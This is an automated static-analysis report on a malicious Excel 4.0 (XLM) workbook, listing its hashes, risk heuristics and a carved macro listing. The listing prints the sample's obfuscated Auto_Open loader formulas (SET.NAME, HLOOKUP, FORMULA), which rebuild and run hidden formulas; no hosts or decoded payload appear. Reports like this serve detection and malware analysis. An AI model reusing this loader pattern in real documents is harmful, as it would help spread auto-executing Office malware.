Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 793b1368887becb5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:23 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 392d6f935c24d4fd4ad80ab448bf5264 SHA-1: b7ea61a47ffefe9266d2530a5e2d4462cbdff331 SHA-256: 793b1368887becb59efed0ff56ca048e6a3ebe0b6b7ca160f87fee7ac931f14b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6558 bytes
SHA-256: 1261804df474796f4428af92ae25a57338f0b5ff002c9f0e10f3258ed04fe894
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pEkzjnWf
' 0018     23 LABEL : Cell Value, String Constant - ABViHATx len=0 
' 0018     23 LABEL : Cell Value, String Constant - aGrfGCer len=0 
' 0018     26 LABEL : Cell Value, String Constant - aRQegGSFCvR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C181 
' 0018     20 LABEL : Cell Value, String Constant - BJXQE len=0 
' 0018     25 LABEL : Cell Value, String Constant - DDtuTzBVAr len=0 
' 0018     22 LABEL : Cell Value, String Constant - eHrmgvE len=0 
' 0018     21 LABEL : Cell Value, String Constant - gADico len=0 
' 0018     23 LABEL : Cell Value, String Constant - GDNPcOPE len=0 
' 0018     25 LABEL : Cell Value, String Constant - gWwefkROEE len=0 
' 0018     24 LABEL : Cell Value, String Constant - InxQZFheH len=0 
' 0018     22 LABEL : Cell Value, String Constant - kiHxCVT len=0 
' 0018     23 LABEL : Cell Value, String Constant - kmJOMsUR len=0 
' 0018     27 LABEL : Cell Value, String Constant - rLINEZEGFDvG len=0 
' 0018     20 LABEL : Cell Value, String Constant - sBIOq len=0 
' 0018     24 LABEL : Cell Value, String Constant - uRPlPkZBW len=0 
' 0018     26 LABEL : Cell Value, String Constant - VTtVHqXVoUm len=0 
' 0018     27 LABEL : Cell Value, String Constant - vvgVInXyPbdZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - WbqJXp len=0 
' 0018     25 LABEL : Cell Value, String Constant - XvVRNgdObX len=0 
' 0018     26 LABEL : Cell Value, String Constant - YzOdafZkKit len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pEkzjnWf,C86,"SET.NAME("XvVRNgdObX",VALUE("0"))",""
'  pEkzjnWf,C91,"SET.NAME("eHrmgvE",XvVRNgdObX)",""
'  pEkzjnWf,C93,"SET.NAME("vvgVInXyPbdZ",XvVRNgdObX)",""
'  pEkzjnWf,C96,"SET.NAME("aRQegGSFCvR",COUNTA(VTtVHqXVoUm))",""
'  pEkzjnWf,C100,"SET.NAME("WbqJXp",COUNTA(uRPlPkZBW))",""
'  pEkzjnWf,C105,[],""
'  pEkzjnWf,C108,"SET.NAME("sBIOq","")",""
'  pEkzjnWf,C111,"eHrmgvE",""
'  pEkzjnWf,C114,"SET.NAME("gADico",HLOOKUP("*",VTtVHqXVoUm,eHrmgvE,FALSE))",""
'  pEkzjnWf,C119,"GDNPcOPE",""
'  pEkzjnWf,C121,"SET.NAME("InxQZFheH",XvVRNgdObX)",""
'  pEkzjnWf,C126,[],""
'  pEkzjnWf,C129,"InxQZFheH",""
'  pEkzjnWf,C133,"DDtuTzBVAr",""
'  pEkzjnWf,C136,"rLINEZEGFDvG",""
'  pEkzjnWf,C141,"YzOdafZkKit",""
'  pEkzjnWf,C143,"SET.NAME("gWwefkROEE",VALUE(HLOOKUP("*",uRPlPkZBW,YzOdafZkKit,FALSE)))",""
'  pEkzjnWf,C146,"BJXQE",""
'  pEkzjnWf,C149,"sBIOq",""
'  pEkzjnWf,C151,"vvgVInXyPbdZ",""
'  pEkzjnWf,C155,NEXT(),""
'  pEkzjnWf,C160,"kiHxCVT",""
'  pEkzjnWf,C164,"SET.NAME("f",INT(T(FORMULA(T(sBIOq)&"",""&T(kiHxCVT)))))",""
'  pEkzjnWf,C168,"kmJOMsUR",""
'  pEkzjnWf,C173,NEXT(),""
'  pEkzjnWf,C176,RETURN(),""
'  pEkzjnWf,C206,"SET.NAME("aGrfGCer",C86)",""
'  pEkzjnWf,C211,"VTtVHqXVoUm",""
'  pEkzjnWf,C214,"SET.NAME("uRPlPkZBW",R60C14)",""
'  pEkzjnWf,C218,"SET.NAME("kmJOMsUR",227)",""
'  pEkzjnWf,C223,"SET.NAME("ABViHATx",3)",""
'  pEkzjnWf,C226,aGrfGCer(),""
'  pEkzjnWf,C227,HALT(),""